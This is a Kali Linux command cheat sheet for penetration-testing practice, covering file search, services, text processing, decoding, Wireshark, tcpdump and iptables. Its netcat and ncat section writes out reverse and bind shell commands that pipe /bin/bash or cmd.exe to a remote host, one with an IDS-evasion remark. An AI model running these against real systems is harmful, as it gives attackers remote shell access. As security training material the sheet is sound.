Kali Survivor Skills

Set the Target IP address to the $ip system variable:

export ip=192.168.17.131

Find the location of a file:

locate sbd.exe

Search through directories in the $PATH environment variable:

which sbd

Find/search for a file that contains a specific string in it’s name:

find / -name sbd\\*

Show active internet connections:

netstat -lntp

Change password:

passwd

Verify if a service is running and listening:

netstat -antp | grep apache

Start a service:

systemctl start ssh

systemctl start apache2

Have a service start at boot:

systemctl enable ssh

Stop a service:

systemctl stop ssh

Unzip a gz file:

gunzip access.log.gz

Unzip a tar.gz file:

tar -xzvf file.tar.gz

Search command history:

history | grep phrase_to_search_for

Download a webpage:

wget [<http://www.cisco.com>](<http://www.cisco.com>)

Open a webpage:

curl [<http://www.cisco.com>](<http://www.cisco.com/>)

String manipulation

• Count number of lines in a file:

wc -l index.html

• Get the start or end of a file:

head index.html
tail index.html

• Extract all the lines that contain a string:

grep "href=" index.html

• Cut a string by a delimiter, filter results then sort:

grep "href=" index.html | cut -d "/" -f 3 | grep "\\\\." | cut -d '"' -f 1 | sort -u

• Using Grep and regular expressions and output to a file:

cat index.html | grep -o 'http://\\[^"\\]\\*' | cut -d "/" -f 3 | sort –u > list.txt

• Use a bash loop to find the IP address behind each host:

for url in $(cat list.txt); do host $url; done

• Collect all the IP Addresses from a log file and sort by frequency:

cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

Decoding using Kali

• Decode Base64 Encoded Values:

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

• Decode Hexidecimal Encoded Values:

echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

Netcat - Read and write TCP and UDP Packets

• Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems): https://joncraton.org/blog/46/netcat-for-windows/

• Connect to a POP3 mail server:

nc -nv $ip 110

• Listen on TCP/UDP port:

nc -nlvp 4444

• Connect to a netcat port:

nc -nv $ip 4444

• Send a file using netcat:

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

• Receive a file using netcat:

nc -nlvp 4444 > incoming.exe

• Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...

whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

• Create a reverse shell with netcat using cmd.exe on Windows:

nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

• Create a reverse shell with netcat using bash on Linux:

nc -nv $ip 4444 -e /bin/bash

• Netcat for Banner Grabbing:

echo "" | nc -nv -w1 <IP Address> <Ports>

Ncat - Netcat for Nmap project which provides more security avoiding IDS

• Reverse shell from windows using cmd.exe using ssl:

ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

• Listen on port 4444 using ssl:

ncat -v $ip 4444 --ssl

Wireshark

• Show only SMTP (port 25) and ICMP traffic:

tcp.port eq 25 or icmp

• Show only traffic in the LAN (192.168.x.x), between workstations and servers -- no Internet:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

• Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:

ip.src != [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>) && ip.dst != [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>) && sip

• Some commands are equal:

ip.addr == [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>)

equals

ip.src == [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>) or ip.dst == [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>)
ip.addr != [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>)

equals

ip.src != [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>) or ip.dst != [xxx.xxx.xxx.xxx](<http://xxx.xxx.xxx.xxx/>)

Tcpdump

• Display a pcap file:

tcpdump -r passwordz.pcap

• Display ips and filter and sort:

tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

• Grab a packet capture on port 80:

tcpdump tcp port 80 -w output.pcap -i eth0

• Check for ACK or PSH flag set in a TCP packet:

tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

• Deny traffic to ports except for Local Loopback:

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

• Clear ALL IPTables firewall rules:

iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X